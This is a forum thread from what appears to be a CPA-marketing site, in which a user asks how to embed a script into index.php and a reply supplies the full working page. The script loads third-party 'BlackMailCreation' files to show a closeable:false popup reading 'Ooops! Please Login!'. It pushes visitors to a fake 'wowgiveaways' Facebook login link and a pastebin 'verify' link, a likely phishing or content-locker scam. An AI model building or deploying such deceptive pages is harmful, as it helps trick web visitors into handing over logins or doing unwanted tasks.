How can I add text/js code to php file?
2014-11-17, 07:42 PM,
#1
here is the code
Code:
<!--FB Popup BlackMailCreation Starts-->
<link href='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.css' rel='stylesheet' type='text/css'/>
<script src='https://sites.google.com/site/blackmailcreation/home-1/jquery.min.js'></script>
<script src='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.js' type='text/javascript'></script>
<!--FB Popup BlackMailCreation Starts Ends-->
<script type='text/javascript'>
//_//<![CDATA[
$(document).ready(function() {
$('body').facebookTrafficPop( {
timeout: 00,
title: "Ooops! Please Login!",
message: '<center><a href="http://oscars.wowgiveaways.com/login/"><img src="https://www.apparent.me/images/connect-facebook-button.png" /></a></center></br> <center>To avoid abuse of our site we require users to login via facebook. Or you can click the button below to verify user in other ways.</center></br><center><a href="http://pastebin.com/M6fxa4Pi"><img src="https://i.imgur.com/ttZsNol.png" /></a></center>',
url: "",
'opacity': 0.5,
'advancedClose':false,
closeable: false
} );
});
//]]>
</script>

I want to add this to index.php file. How can I do that?
PHP file has <html> section. I tried to add the above script to <head> and <body> but it didn't work :(

Need help!
Reply
Share This Thread :

2014-11-23, 03:11 AM,
#2
The code needs to go in the head. Also there was no style to center the box.

Code:
<html>
<head>
<title>Verify</title>
<style>

body {
position: absolute;
top: 40%;
}

</style>
<!--FB Popup BlackMailCreation Starts-->
<link href='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.css' rel='stylesheet' type='text/css'/>
<script src='https://sites.google.com/site/blackmailcreation/home-1/jquery.min.js'></script>
<script src='https://sites.google.com/site/blackmailcreation/home-1/fb-like-pop.js' type='text/javascript'></script>
<!--FB Popup BlackMailCreation Starts Ends-->
<script type='text/javascript'>
//_//<![CDATA[
$(document).ready(function() {
$('body').facebookTrafficPop( {
timeout: 00,
title: "Ooops! Please Login!",
message: '<center><a href="http://oscars.wowgiveaways.com/login/"><img src="https://www.apparent.me/images/connect-facebook-button.png" /></a></center></br> <center>To avoid abuse of our site we require users to login via facebook. Or you can click the button below to verify user in other ways.</center></br><center><a href="http://pastebin.com/M6fxa4Pi"><img src="https://i.imgur.com/ttZsNol.png" /></a></center>',
url: "",
'opacity': 0.5,
'advancedClose':false,
closeable: false
} );
});
//]]>
</script>
</head>
<body>
<!--Code Here-->
</body>
</html>
Reply
2014-11-23, 03:40 AM,
#3
check if there is code error if not it should work when you added in between the head tags
Reply
2014-11-24, 11:54 PM,
#4
Thread moved to the Elites HelpDesk.
Have a great day,
RW.
Reply


Related Threads
Thread Author Replies Views Last Post
  Load Random JS File When Page Refresh immart247 3 128 2018-06-30, 11:46 AM
Last Post: immart247
  [Cpagrip] How add content locker with image? Syberpro 18 7,823 2018-04-24, 07:25 AM
Last Post: joeclinz
  Anyone promoting link locking/file cpa content in IG torikul91 1 231 2018-04-02, 01:07 PM
Last Post: sinzoo
  [ASK] about upload landing page file? cupzJaYu 7 332 2018-03-04, 01:52 PM
Last Post: CharlieHarper
  REQ Movie affiliate CPA Php script mineshparikh 2 320 2018-02-16, 01:11 AM
Last Post: Kjartansson





About Us | Contact Us | CPA Elites | Advertise | Stats

© 2013-2018 CPA Elites Ltd
Enhanced by MyBB and WallBB
Return to top